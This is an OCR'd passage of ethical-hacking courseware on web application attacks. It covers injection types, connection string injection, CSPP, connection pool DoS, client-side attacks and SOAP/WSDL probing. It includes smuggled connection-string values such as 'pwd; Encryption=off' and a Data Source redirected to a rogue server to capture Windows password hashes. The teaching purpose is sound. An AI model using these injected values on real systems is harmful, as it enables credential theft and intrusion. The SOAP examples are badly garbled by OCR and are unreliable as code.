m a l i c i o u s  c o d e s  in  i n p u t  f i e l d s  i f  a p p l i c a t i o n s  

u t i l i z e  u s e r  i n p u t  i n  a  s y s t e m - l e v e l  c o m m a n d

B
X P a t h  I n j e c t i o n

E n t e r  m a l i c i o u s  s t r i n g s  i n  i n p u t  f i e l d s  i n  

o r d e r  t o  m a n i p u l a t e  t h e  X P a t h  q u e r y  s o  

t h a t  i t  i n t e r f e r e s  w i t h  t h e  a p p l i c a t i o n ' s  l o g i c

BaS M T P  I n j e c t i o n

I n j e c t  a r b i t r a r y  S T M P  c o m m a n d s  i n t o  

a p p l i c a t i o n  a n d  S M T P  s e r v e r  c o n v e r s a t i o n  t o  

g e n e r a t e  la r g e  v o l u m e s  o f  s p a m  e m a i l

B
N o t e :  F o r  c o m p l e t e  c o v e r a g e  o f  S Q L  I n j e c t i o n  c o n c e p t s  a n d  t e c h n i q u e s  r e f e r  t o  M o d u l e  1 4 :  S Q L  I n j e c t i o n

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

I
I n j e c t i o n  A t t a c k s

In in je c tio n  a tta cks , a tta cke rs  su p p ly  c ra fte d  m a lic io u s  in p u t th a t  is s y n ta c tic a lly  c o rre c t 

a cco rd in g  to  th e  in te rp re te d  language  be ing  used in o rd e r  to  b re ak  th e  a p p lic a tio n 's  n o rm a lly  

in te n d e d  in p u t.

Q W e b  S c rip ts  In je c t io n : If user in p u t is used in code  th a t  is d y n a m ic a lly  e xe cu te d , e n te r  

c ra fte d  in p u t th a t  b reaks th e  in te n d e d  da ta  c o n te x t and e xecu tes  co m m a n d s  on th e  

se rve r

Q OS C o m m a n d s  In je c t io n : E xp lo it o p e ra tin g  system s by e n te r in g  m a lic io u s  code  in in p u t 

fie ld s  if  a p p lic a tio n s  u tiliz e  user in p u t in a sys te m -le ve l co m m a n d

© SM TP In je c t io n : In je c t a rb it ra ry  SMTP c o m m a n d s  in to  a p p lic a tio n  and SMTP se rve r 

co n v e rs a tio n  to  g e n e ra te  la rge  v o lu m e s  o f  spam  e m a il

0  SQL In je c t io n : E n te r a se ries  o f  m a lic io u s  SQL q u e rie s  in to  in p u t fie ld s  to  d ire c t ly  

m a n ip u la te  th e  da tabase

© LDAP In je c t io n : Take a dva n ta g e  o f  n o n -v a lid a te d  w e b  a p p lic a tio n  in p u t v u ln e ra b ilit ie s  

to  pass LDAP f i lte rs  to  o b ta in  d ire c t access to  da tabases

© X P ath  In je c t io n : E n te r m a lic io u s  s tring s  in in p u t fie ld s  in o rd e r  to  m a n ip u la te  th e  XPath 

q u e ry  so th a t  it  in te r fe re s  w ith  th e  a p p lic a tio n 's  log ic
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Note: For c o m p le te  cove rage  o f  SQL In je c tio n  co n ce p ts  and te c h n iq u e s , re fe r  to  M o d u le  14: 

SQL In je c tio n  A ttacks .
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Attack Attack Attack Session Attack Attack
Web Servers Authentication Management Data Connectivity Web Services 

Mechanism Mechanism

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p  H a c k i n g  M e t h o d o l o g y

^ ^ “ J A־ tta c k in g  th e  da ta  c o n n e c tiv ity  a llo w s  th e  a tta c k e r  to  gain  u n a u th o riz e d  c o n tro l o v e r 

th e  in fo rm a tio n  in th e  da tabase . The va rio u s  typ e s  o f  d a ta  c o n n e c t iv ity  a tta c k s  and th e ir  

causes as w e ll as co nse qu en ces  are  e xp la in e d  in d e ta il on  th e  fo llo w in g  slides.
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CEHA tta c k  D a ta  C o n n e c t iv ity

D a t a b a s e  c o n n e c t i v i t y  a t t a c k s  e x p l o i t  

t h e  w a y  a p p l i c a t i o n s  c o n n e c t  t o  t h e  

d a t a b a s e  i n s t e a d  o f  a b u s i n g  

d a t a b a s e  q u e r i e s

D a t a  C o n n e c t i v i t y  A t t a c k s

S  C o n n e c t i o n  S t r i n g  I n j e c t i o n

S  C o n n e c t i o n  S t r i n g  P a r a m e t e r  

P o l l u t i o n  ( C S P P )  A t t a c k s

S  C o n n e c t i o n  P o o l  D o S

J L־

־ ץ  r~

0 r r

0r r
0r r
0r r
< s = ©

0 T r
o

_ y  v _

D a t a b a s e  c o n n e c t i o n  s t r i n g s  a r e  u s e d  

t o  c o n n e c t  a p p l i c a t i o n s  t o  d a t a b a s e  

e n g i n e s

"D a ta  S o u rce = S e rve r,P o rt; 
Network Library=DBMSSOCN; 
I n i t i a l  Catalog=DataBase; 
User ID=Username; 
Password=pwd;"

E x a m p l e  o f  a  c o m m o n  c o n n e c t i o n  

s t r i n g  u s e d  t o  c o n n e c t  t o  a  M i c r o s o f t  

S Q L  S e r v e r  d a t a b a s e

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

A t t a c k  D a t a  C o n n e c t i v i t y
^  A

A tta c k e rs  d ire c t ly  a tta c k  da ta  c o n n e c tiv ity  so th a t  th e y  can access se ns itive  

in fo rm a tio n  ava ilab le  in th e  da tabase . D atabase c o n n e c tiv ity  a tta cks  e x p lo it th e  w a y  

a p p lic a tio n s  c o n n e c t to  th e  d a tabase  ins tead  o f a b u s in g  d a ta b a s e  q u e rie s .

Data Connectivity Attacks

© C o n n e c tio n  S tring  In je c tio n

© C o n n e c tio n  S tring  P a ra m e te r P o llu tio n  (CSPP) A tta cks  

© C o n n e c tio n  Pool DoS 

D atabase c o n n e c tio n  s tring s  are  used to  c o n n e c t a p p lic a tio n s  to  d a ta b a se  e ng in es :

"D a ta  S o u r c e = S e r v e r ,P o r t ; N e tw o rk  L ibrary=D BM SSO C N ; I n i t i a l  C a ta lo g = D a ta B a s e ; 
U s e r ID = U se rn am e ; P a s s w o rd = p w d ;"

Exam ple o f  a c o m m o n  c o n n e c tio n  s tr in g  used to  c o n n e c t to  a M ic ro s o ft SQL Server da tabase
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C o n n e c tio n  S tr in g  In je c t io n CEH

I n  a  d e l e g a t e d  a u t h e n t i c a t i o n  e n v i r o n m e n t ,  t h e  a t t a c k e r  i n j e c t s  p a r a m e t e r s  i n  a  

c o n n e c t i o n  s t r i n g  b y  a p p e n d i n g  t h e m  w i t h  t h e  s e m i c o l o n  ( ; )  c h a r a c t e r

A  c o n n e c t i o n  s t r i n g  i n j e c t i o n  a t t a c k  c a n  o c c u r  w h e n  a  d y n a m i c  s t r i n g  c o n c a t e n a t i o n  

i s  u s e d  t o  b u i l d  c o n n e c t i o n  s t r i n g s  b a s e d  o n  u s e r  i n p u t

B e f o r e  I n j e c t i o n

"Data Source=Server,Port; Network Library=DBMSSOCN; I n i t ia l  Catalog=DataBase; 
User ID=Username; Password=pwd;"

A f t e r  I n j e c t i o n

"Data Source=Server,Port; Network Library=DBMSSOCN; I n i t ia l  Catalog=DataBase; 
User ID=Username; Password=pwd; Encryption=off"

W h e n  th e  c o n n e c tio n  s tr in g  is p o p u la te d , th e  Encryption  v a lu e  w i l l  be  a d d e d  to  th e  p re v io u s ly  c o n f ig u re d  s e t 

o f  p a ra m e te rs

C o p y r ig h t  ©  b y  EC-Gauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

C o n n e c t i o n  S t r i n g  I n j e c t i o n

■ ^  A c o n n e c tio n  s tr in g  in je c tio n  a tta c k  can o ccu r w h e n  d yn a m ic  s tr in g  c o n c a te n a tio n  is 

used to  b u ild  c o n n e c tio n  s tring s  th a t  a re  based on user in p u t. If th e  s tr in g  is n o t v a lid a te d  and 

m a lic io u s  te x t  o r  ch a ra c te rs  n o t escaped , an a tta c k e r  can p o te n t ia l ly  access se ns itive  da ta  o r  

o th e r  resources on th e  se rve r. For e xam p le , an a tta c k e r co u ld  m o u n t an a tta c k  by su p p ly in g  a 

se m ico lo n  and a p p e n d in g  an a d d it io n a l va lue . The c o n n e c tio n  s tr in g  is parsed by using  a " la s t 

one  w in s " a lg o r ith m , and th e  h o s tile  in p u t is s u b s titu te d  fo r  a le g it im a te  va lue .

The c o n n e c tio n  s tr in g  b u ild e r  classes are  des igned  to  e lim in a te  gue ssw o rk  and p ro te c t aga ins t 

syn tax  e rro rs  and s e c u r ity  v u ln e ra b ilit ie s . T hey p ro v id e  m e th o d s  and p ro p e rt ie s  c o rre s p o n d in g  

to  th e  k n o w n  k e y /v a lu e  pa irs  p e rm itte d  by each da ta  p ro v id e r. Each class m a in ta in s  a fixe d  

c o lle c tio n  o f  s y n o n y m s  and can tra n s la te  f ro m  a syn o n ym  to  th e  c o rre s p o n d in g  w e ll-k n o w n  key 

nam e. Checks a re  p e r fo rm e d  fo r  va lid  k e y /v a lu e  pa irs  and an in va lid  p a ir th ro w s  an e xce p tio n . 

In a d d it io n , in je c te d  va lues  a re  h an d led  in a safe m an ne r.

B e fo re  in je c t io n

The C om m on  c o n n e c tio n  s tr in g  gets co n n e c te d  to  th e  M ic ro s o ft SQL S erver da tabase  as sh ow n  

as fo llo w s :
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"Data S o u r c e = S e r v e r ,P o r t ; N e t w o r k  L i b r a r y = D B M S S O C N ;  In it ia l C a t a l o g = D a t a B a s e ; 
U s e r  ID =U se rn am e; P a s s w o r d = p w d ; ״

F I G U R E  1 3 . 5 0 :  B e f o r e  i n j e c t i o n

A f te r  in je c t io n

The a tta c k e rs  can eas ily  in je c t p a ra m e te rs  ju s t  by jo in in g  a se m ico lo n  (;) c h a ra c te r using 

c o n n e c tio n  s tr in g  in je c tio n  te c h n iq u e s  in a d e le g a te d  a u th e n tic a tio n  e n v iro n m e n t.

In th e  fo llo w in g  exam p le , th e  user is asked to  g ive a user nam e and passw ord  fo r  c re a tin g  a 

c o n n e c tio n  s tr in g . H ere th e  a tta c k e r  e n te rs  th e  passw ord  as "p w d ; E n c ry p tio n = o ff" ; i t  m eans 

th a t  th e  a tta c k e r has v o id e d  th e  e n c ry p tio n  sys tem . The re s u lt in g  c o n n e c tio n  s tr in g  becom es:

"Data Source=Server,P o r t ; Network Library=DBMSSOCN; I n i t i a l  Catalog=DataBase; 
User ID=Username; Password=pwd; E n c ry p t io n = o ff"

F I G U R E  1 3 . 5 1 :  A f t e r  i n j e c t i o n

W h e n  th e  c o n n e c tio n  s tr in g  is p o p u la te d , th e  e n c ry p tio n  va lu e  w ill be added  to  th e  p re v io u s ly  

c o n fig u re d  se t o f  p a ra m e te rs .
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Connection String Parameter r  CII
Pollution (CSPP) Attacks <.!!1 E !1

Attacker tries to  connect to  the  
database by using th e  W eb 
A pp lica tion  System  account 
instead o f a user-provided set o f 
credentia ls

D a ta  s o u r c e S ־־  Q L 2 0 0 5 ; i n i t i a l  
c a t a l o g ״   d b l / i n t e g r a t e d  
s e c r u r i t y ״ n o ;  u s e r  i d ״ ; D a t a  
S o u r c e —T a r g e t  S e r v e r ,  T a r g e t  
P o r t ;  P a s s w o rd ■ ;  I n t e g r a t e d  
S e c u r i t y ״ t r u e ;

D a ta  s o u r c e ״   S Q L 2 0 0 5 ; i n i t i a l  
c a t a l o g ״   d b l ; i n t e g r a t e d  
s e c u r i t y ״ n o ;  u s e r  i d ״ ; D a t a  
S o u r c e ״ T a r g e t  S e r v e r ,  T a r g e t  
P o r t ■4 4 3 ;  P as  s w o rd ״  ;
I n t e g r a t e d  S e c u r i t y ״ t r u e ;

D a ta  s o u r c e  -  S Q L 2 0 0 5 ; 
i n i t i a l  c a t a l o g ״   d b l ;  
i n t e g r a t e d  s e c u r i t y ״ n o ;  u s e r
i d ״ ; D a ta  S o u r c e ״ R o g u e  
S e r v e r ;  P a s s w o rd ״ ;
I n t e g r a t e d  S e c u r i t y ״ t r u e ;

Attacker w ill then sn iff W indow s 
credentia ls (password hashes) when 
th e  app lica tion tries to  connect to  
Rogue_Server w ith  th e  W indows 
credentia ls it 's  runn ing on

C o p y r ig h t  ©  by EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

C o n n e c t i o n  S t r i n g  P a r a m e t e r  P o l l u t i o n  ( C S P P )  

A t t a c k s

C o n n e c tio n  s tr in g  p a ra m e te r  p o llu t io n  (CSPP) is used by a tta c k e rs  to  s tea l user IDs and to  h ija ck  

w e b  c re d e n tia ls . CSPP e x p lo its  s p e c ifica lly  th e  se m ico lo n  d e lim ite d  d a tabase  c o n n e c tio n  s trings  

th a t  a re  c o n s tru c te d  d y n a m ic a lly  based on th e  user in p u ts  f ro m  w e b  a p p lic a tio n s . In CSPP 

a tta cks , a tta cke rs  o v e rw r ite  p a ra m e te r  va lues in th e  c o n n e c tio n  s tr in g .

H a s h  S t e a l i n g

. An a tta c k e r  rep laces th e  va lu e  o f  da ta  source  p a ra m e te r  w ith  th a t  o f  a Rogue 

M ic ro s o ft  SQL S e rve r co n n e c te d  to  th e  In te rn e t ru n n in g  a s n iffe r :

d b l ;  i n t e g r a t e d  s e c u r i t y = n o ;  u s e r  
I n t e g r a t e d  S e c u r i t y = t r u e ;

D a ta  s o u rc e  = SQ L2005; i n i t i a l  c a ta lo g  
ID = ;D a ta  S ource= R ogue  S e r v e r ;  Password=

A tta c k e rs  w ill th e n  s n if f W in d o w s  c re d e n tia ls  (passw o rd  hashes) w h e n  th e  a p p lic a tio n  tr ie s  to  

c o n n e c t to  R ogue_S erver w ith  th e  W in d o w s  c re d e n tia ls  it 's  ru n n in g  on.

P o r t  S c a n n i n g

ב A tta c k e r  tr ie s  to  c o n n e c t to  d if fe re n t p o rts  by ch ang ing  th e  va lu e  and see ing  th e  e rro r  

m essages o b ta in e d .
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D a ta  s o u rc e  = SQ L2005; i n i t i a l  c a ta lo g  = d b l ;  in t e g r a t e d  s e c u r i t y = n o ;  u s e r  
ID = ;D a ta  S o u rc e = T a rg e t S e r v e r ,  T a r g e t  P o r t= 4 4 3 ;  P a s s w o rd = ; I n t e g r a t e d  
S e c u r i t y = t r u e ;

H i j a c k i n g  W e b  C r e d e n t i a l s

A tta c k e r  tr ie s  to  c o n n e c t to  th e  d a tabase  by using  th e  W e b  A p p lic a tio n  System  

a c c o u n t in s tea d  o f  a u s e r-p ro v id e d  se t o f  c re d e n tia ls .

D a ta  s o u rc e  = SQ L2005; i n i t i a l  c a ta lo g  = d b l ;  i n t e g r a t e d  s e c u r i t y = n o ;  u s e r  
ID = ;D a ta  S o u rc e = T a rg e t S e r v e r ,  T a r g e t  P o r t ;  P a s s w o rd = ; I n t e g r a t e d  
S e c u r i t y = t r u e ;
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Connection Pool DoS CEH
C«rt1fW4 ItliK4I Km Im(

&

A t t a c k e r  e x a m i n e s  t h e  c o n n e c t i o n  p o o l i n g  s e t t i n g s  o f  t h e  a p p l i c a t i o n ,  

c o n s t r u c t s  a  l a r g e  m a l i c i o u s  S Q L  q u e r y ,  a n d  r u n s  m u l t i p l e  q u e r i e s  

s i m u l t a n e o u s l y  t o  c o n s u m e  a l l  c o n n e c t i o n s  i n  t h e  c o n n e c t i o n  p o o l ,  c a u s i n g  

d a t a b a s e  q u e r i e s  t o  f a i l  f o r  l e g i t i m a t e  u s e r s

Example:
B y  d e f a u l t  i n  A S P . N E T ,  t h e  m a x i m u m  a l l o w e d  c o n n e c t i o n s  i n  t h e  p o o l  i s  

1 0 0  a n d  t i m e o u t  i s  3 0  s e c o n d s

T h u s ,  a n  a t t a c k e r  c a n  r u n  1 0 0  m u l t i p l e  q u e r i e s  w i t h  3 0 +  s e c o n d s  

e x e c u t i o n  t i m e  w i t h i n  3 0  s e c o n d s  t o  c a u s e  a  c o n n e c t i o n  p o o l  D o S  s u c h  

t h a t  n o  o n e  e l s e  w o u l d  b e  a b l e  t o  u s e  t h e  d a t a b a s e - r e l a t e d  p a r t s  o f  t h e  

a p p l i c a t i o n

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

C o n n e c t i o n  P o o l  D o S* The a tta c k e r  e xam in e s  th e  c o n n e c tio n  p o o lin g  se ttin g s  o f  th e  a p p lic a tio n , c o n s tru c ts  a 

la rge  m a lic io u s  SQL q u e ry , and runs m u lt ip le  q u e rie s  s im u lta n e o u s ly  to  co nsu m e  all c o n n e c tio n s  

in th e  c o n n e c tio n  p o o l, caus ing  d a tabase  q u e rie s  to  fa il fo r  le g it im a te  users.

E xa m p le :

By d e fa u lt,  in ASP.NET, th e  m a x im u m  a llo w e d  co n n e c tio n s  in th e  p oo l is 100 and t im e o u t is 30 

seconds.

Thus, an a tta c k e r  can run  100 m u lt ip le  q u e rie s  w ith  30+ seconds e x e c u tio n  t im e  w ith in  30 

seconds to  cause a c o n n e c tio n  poo l DoS such th a t  no one  else w o u ld  be ab le  to  use th e  

da tabase  re la te d  p a rts  o f  th e  a p p lic a tio n .
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Web App Hacking Methodology CEH
(•rtifWd itfciul lUilwt

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks Web App Client

W e b  A p p  H a c k i n g  M e t h o d o l o g y

A t t a c k  W e b  A p p  C l i e n t

A tta cks  p e r fo rm e d  on a s e rv e r-s id e  a p p lic a tio n  in fe c t th e  c lie n t-s id e  a p p lic a tio n  w h e n  th e  

c lie n t-s id e  a p p lic a tio n  in te ra c ts  w ith  th e se  m a lic io u s  se rve r o r  p rocess m a lic io u s  da ta . The 

a tta c k  on  th e  c lie n t s ide occurs  w h e n  th e  c lie n t es tab lishes  a c o n n e c tio n  w ith  th e  se rve r. If 

th e re  is no c o n n e c tio n  b e tw e e n  c lie n t and se rve r, th e n  th e re  is no risk. This is because no 

m a lic io u s  da ta  is passed by th e  se rve r to  th e  c lie n t. C ons ide r an e xam p le  o f  a c lie n t-s id e  a tta c k  

w h e re  an in fe c te d  w e b  page ta rg e ts  a sp e c ific  b ro w s e r  w e a kn e ss  and e x p lo its  it  success fu lly . As 

a re su lt, th e  m a lic io u s  se rve r ga ins u n a u th o riz e d  c o n tro l o v e r th e  c lie n t system .
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Attack Web App Client
J  A t t a c k e r s  i n t e r a c t  w i t h  t h e  s e r v e r - s i d e  a p p l i c a t i o n s  i n  u n e x p e c t e d  w a y s  i n  o r d e r  t o  p e r f o r m  m a l i c i o u s  

a c t i o n s  a g a i n s t  t h e  e n d  u s e r s  a n d  a c c e s s  u n a u t h o r i z e d  d a t a

A t t a c k  W e b  A p p  C l i e n t

A tta c k e rs  in te ra c t w ith  th e  se rve r-s ide  a p p lic a tio n s  in u n e xp e c te d  w ays in o rd e r  to  

p e r fo rm  m a lic io u s  a c tio n s  aga in s t th e  end  users and access u n a u th o r iz e d  d a ta . A tta c k e rs  use 

va rio u s  m e th o d s  to  p e r fo rm  th e  m a lic io u s  a tta cks .

The fo llo w in g  a re  th e  m a lic io u s  a ttacks  p e r fo rm e d  by a tta cke rs  to  c o m p ro m is e  c lie n t-s id e  w e b  

a p p lic a tio n s :

© C ross-S ite  S c rip tin g

© R e d ire c tio n  A tta cks

© HTTP H eade r In je c tio n

© F ram e In je c tio n

© R equest F o rgery  A ttacks

© Session F ixa tion

© P rivacy A tta cks

© A c tiveX  A tta cks

C o p y r ig h t  ©  b y  EC-Council. A l l  R ig h ts  R e s e r v e d  R e p ro d u c t io n  i s S t r i c t l y  P r o h ib ite d .

Redirection
Attacks

ActiveX
Attacks

Session
Fixation

Frame
Injection

HTTP Header 
Injection

Cross-Site
Scripting

Privacy
Attacks

Request 
Forgery Attack
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

An a tta c k e r  bypasses th e  c lie n ts  ID 's s e c u r ity  m ech an ism  and ga ins th e  access 

p riv ile g es , and th e n  in je c ts  th e  m a lic io u s  sc rip ts  in to  th e  w e b  pages o f  a p a r t ic u la r  

w e b s ite . These m a lic io u s  sc rip ts  can even re w r ite  th e  H TM L c o n te n t o f  th e  w e b s ite .

R e d i r e c t i o n  A t t a c k s

I f)  / l  A tta c k e rs  d e ve lo p  codes and links  in such a w a y  th a t  th e y  rese m b le  th e  m a in  s ite  th a t  

th e  user w a n ts  to  v is it; h o w e v e r, w h e n  a user w a n ts  to  v is it  th e  re sp e c tive  s ite , th e  user 

is re d ire c te d  to  th e  m a lic io u s  w e b s ite  w h e re  th e re  is a p o s s ib ility  fo r  th e  a tta c k e r to  o b ta in  th e  

use r's  c re d e n tia ls  and o th e r  se n s itive  in fo rm a tio n .

t H T T P  H e a d e r  I n j e c t i o n

An a tta c k e r  sp lits  th e  HTTP response  in to  m u lt ip le  responses by in je c tin g  a m a lic io u s  

response  in HTTP headers . This a tta c k  can de face  w e b s ite s , po ison  th e  cache, and tr ig g e r  cross- 

s ite  sc rip tin g .

F r a m e  I n j e c t i o n

W h e n  sc rip ts  d o n 't  v a lid a te  th e ir  in p u t, codes a re  in je c te d  by th e  a tta c k e r  th ro u g h  

fra m e s . This a ffe c ts  all th e  b ro w se rs  and sc rip ts  w h ic h  d o e s n 't v a lid a te  u n tru s te d  in p u t. These 

v u ln e ra b ilit ie s  o ccu r in H TM L page w ith  fra m e s . A n o th e r  reason fo r  th is  v u ln e ra b il ity  is e d it in g  

o f  th e  fra m e s  is s u p p o rte d  by th e  w e b  b ro w se rs .

R e q u e s t  F o r g e r y  A t t a c k£ In th is  a tta c k , th e  a tta c k e r e x p lo its  th e  t ru s t  o f  w e b s ite  o r  w e b  a p p lic a tio n  on th e  

user's  b ro w s e r. The a tta c k  w o rk s  by in c lu d in g  a lin k  in a page th a t  accesses a s ite  to  w h ic h  th e  

user is a u th e n tic a te d .

S e s s i o n  F i x a t i o n

Session f ix a tio n  he lps an a tta c k e r  to  h ija ck  a va lid  user session. In th is  a tta c k , th e  

a tta c k e r  a u th e n tic a te s  h im  o r h e rs e lf w ith  a k n o w n  session ID and th e n  h ijacks th e  user- 

v a lid a te d  session by th e  kn o w le d g e  o f th e  used session ID. In a session f ix a tio n  a tta c k , th e  

a tta c k e r  tr ic k s  th e  user to  access a g e n u in e  w e b  se rve r us ing  an e x is tin g  sess ion  ID v a lu e .

P r i v a c y  A t t a c k s

A p riva cy  a tta c k  is tra c k in g  p e r fo rm e d  w ith  th e  he lp  o f  a re m o te  s ite  th a t  is based on a 

leaked  p e rs is te n t b ro w s e r s ta te .

A A c t i v e X  A t t a c k s

The a tta c k e r  lu res  th e  v ic t im  via  e m a il o r  a lin k  th a t  has been c ra fte d  in such a w ay  

th a t  th e  lo o p h o le s  o f  re m o te  e x e c u tio n  code  b eco m e  accessib le . A tta c k e rs  gain  equa l 

access p riv ile g es  to  th a t  o f  an a u th o r iz e d  user.
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Attack Session Attack Attack
Management Data Connectivity Web Services 
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  A p p  H a c k i n g  M e t h o d o l o g y  

A t t a c k  W e b  S e r v i c e s

W e b  serv ices a re  eas ily  ta rg e te d  by th e  a tta c k e r. Serious s e c u r ity  b reaches are  caused w h e n  an 

a tta c k e r  c o m p ro m is e s  th e  w e b  serv ices. The d if fe re n t typ e s  o f  w e b  se rv ice  a tta c k s  and th e ir  

consequences  are  e xp la in e d  on th e  fo llo w in g  slides.
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

CEHAttack Web Services
J  W e b  s e r v i c e s  w o r k  a t o p  t h e  l e g a c y  w e b  a p p l i c a t i o n s ,  a n d  a n y  a t t a c k o n  w e b  s e r v i c e  w i l l  i m m e d i a t e l y  

e x p o s e  a n  u n d e r l y i n g  a p p l i c a t i o n ' s  b u s i n e s s  a n d  l o g i c  v u l n e r a b i l i t i e s  f o r  v a r i o u s  a t t a c k s

D a t a b a s e  A t t a c k s ,  

D o S  A t t a c k s

In fo rm a tion  Leakage, 
A pplication Logic Attacks

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

r j f  A t t a c k  W e b  S e r v i c e sCl W e b  serv ices w o rk  a to p  th e  legacy w e b  a p p lic a tio n s , and any a tta c k  on a w e b  serv ice  

w ill  im m e d ia te ly  expose  an u n d e r ly in g  a p p lic a t io n 's  bus iness  and lo g ic  v u ln e ra b il it ie s  fo r  

va rio u s  a tta cks . W e b  se rv ices can be a tta cke d  using  m an y  te c h n iq u e s  as th e y  are  m ade  

a va ilab le  to  users th ro u g h  va rio u s  m echan ism s. Hence, th e  p o s s ib ility  o f  v u ln e ra b ilit ie s  

increases. The a tta c k e r  can e x p lo it th o s e  v u ln e ra b il it ie s  to  c o m p ro m is e  th e  w e b  serv ices. T he re  

m ay be m an y  reasons b e h in d  a tta c k in g  w e b  serv ices. A cco rd in g  to  th e  p u rpo se , th e  a tta c k e r 

can choose  th e  a tta c k  to  c o m p ro m is e  w e b  serv ices. If th e  a tta c k e r 's  in te n t io n  is to  s to p  a w e b  

se rv ice  fro m  se rv ing  in te n d e d  users, th e n  the  a tta c k e r  can launch  a d e n ia l-o f-s e rv ic e  a tta c k  by 

se nd in g  n u m e ro u s  re q u e s ts .

V a rio us  ty p e s  o f a tta cks  used to  a tta c k  w e b  serv ices are :

© SOAP In je c tio n  

© XM L In je c tio n  

© WSDL P rob ing  A tta cks  

© In fo rm a tio n  Leakage 

© A p p lic a tio n  Logic A ttacks  

© D atabase A tta cks
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Q DoS A ttacks

Database Attacks, 
DoS Attacks

I n f o r m a t i o n  L e a k a g e ,  

A p p l i c a t i o n  L o g i c  A t t a c k s

WSDL Probing 
Attacks

SOAP Injection, 
XML InjectionWeb Services

F I G U R E  1 3 . 5 2 :  A t t a c k  W e b  S e r v i c e s
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

CEH
Urtifwd ilhiul lUtbM

W eb Services P rob ing  A ttacks

6 A ttacker then creates a set o f valid requests by selecting 
a set o f operations, and fo rm u la ting  th e  request 
messages according to  th e  rules o f th e  XML Schema th a t 
can be subm itted  to  th e  web service

« A ttacker uses these requests to  include m alicious 
contents in SOAP requests and analyzes errors to  gain a 
deeper understanding o f po ten tia l security weaknesses

In th 6ר e  f irs t step, th e  attacker traps th e  WSDL
docum en t fro m  w eb service tra ffic  and analyzes it  to  
de te rm ine  th e  purpose o f th e  app lica tion , functiona l 
break dow n, en try  points, and message types

9 These attacks w o rk s im ila r to  SQL in jec tion  attacks

<?>o:ml versions" 1,0" encoding־ "utf-8" ?>
- <soap: Envelope xmlns: soap־"http://schemas.xmlsoap.org/soap/ envelope/־ 
xmlns: xsi=" http ://www .w3 .org/2001/XMLSchem ־־-instl'lnce " 
xmlns: xsd='http ://ww w .w3 .org/20DI/XMLSchemlT>
■ <soap: Body>
• <soap:Fault>
<faultcode>soap:Server</faultcode>
<faultstring>System. Web .Services .Protocols .SoapException: t r w m i w t i •  to
procat• request -> ryrtem Oata.OUDb.OMDb* nceptlon Syntax •rror (milling operator) •n quwv t.p rn '׳־•
product name Ilk• '־ and provlderld • '112 • 111 - •941*. At
tyttem Data.Ole Db.OleDbc omm and liecutc( omm and Tea tluar Hand■ ng
I MU hr) •t lystemData.OleDb.OleDbccmma ndlnearteComma ndtert>orS lngle«o«1Jt
liagOBTAftAMS dbfaramt. Obiectg, e«ea/teHeu>t) •t
system Data.OleOb.OleOOCommand (•ecule(ommandTrat|Ot>;cct&eaocut<*<et 1/ t ) at System Data (*<06 
CMObCemmand UeaiteCommand !Command Behavior beftavlor. Object* axactfafteiuN) at S*«wn Oata 
OUOb CteObCo mm and. liKuKKe adcri ntcrna !(Command Behavior behavior. String met hoe) at 
Syftam.Oata.OMDb.OMObccn1mand.ixaa«teKeader|Con1mandBehBv1ar behavior) at 
iystem Data.OleDkOleObcommand laea/teKcader() at Pvoduet Mo. ProductOBAaess bet Produd 
IrVarmatlonlStrlng productMame, String uld, String password) at
ProdjetlnfaPtoduclnfoXiatProdualnl or mat ion &* Name( Siring name, String jd . Stnrg password) Ind 0׳ 
inner axctpoon stack trac —</faultstring>
<detail />
</soap: Fault>
</soap : Body>
</soap: Envelope>

Server th ro w s  
an e rro r

<?xml verslon־"I.O- encoding־"UTF־S' standalone־ ' 
no* ?>
- <$QAP-ENV: Envelope )(mlns: 
SOAPSOKl־"http://www.w3.org/2001/ 
XMLschcma'
xmlns: S0APSDK2־"http ://ww w .w3 .org/200 
l/XMLSchem.o- Inst.once" 
xmlns: S0APSDK3«"http://schemas .xmlso.op 
.org/soap/ encoding/' xmlns: SOAPENV־
' http://schemas .xmlsoap .org/soap/ envelope/'>
• <SOAP- ENV Body •
- <SOAPSDK 4: GetProdUctlnformationByName 
xmlns: SQAPSDK4■' http://s*austlap/Productlnfo/‘>
[<SQAPSDK4; name?■ ^SQAP3DK4; n a m d
<S0APSDK4: uid>312 ■111 -8S43</SOAPSDK4:uid> 
<S0APSDK4: password> 5648</SOAPSDK4: 
password>
</SOAPSDK 4: GetProduc t In forma ti 0 n B y Name> 
</SOAP־ENV: Body •
</SOAPENV: Envelope>

v . - r : ur■•■.

A tta c k e r

A ttacker in ject 
a rb itra ry  character 
(') in th e  in p u t fie ld

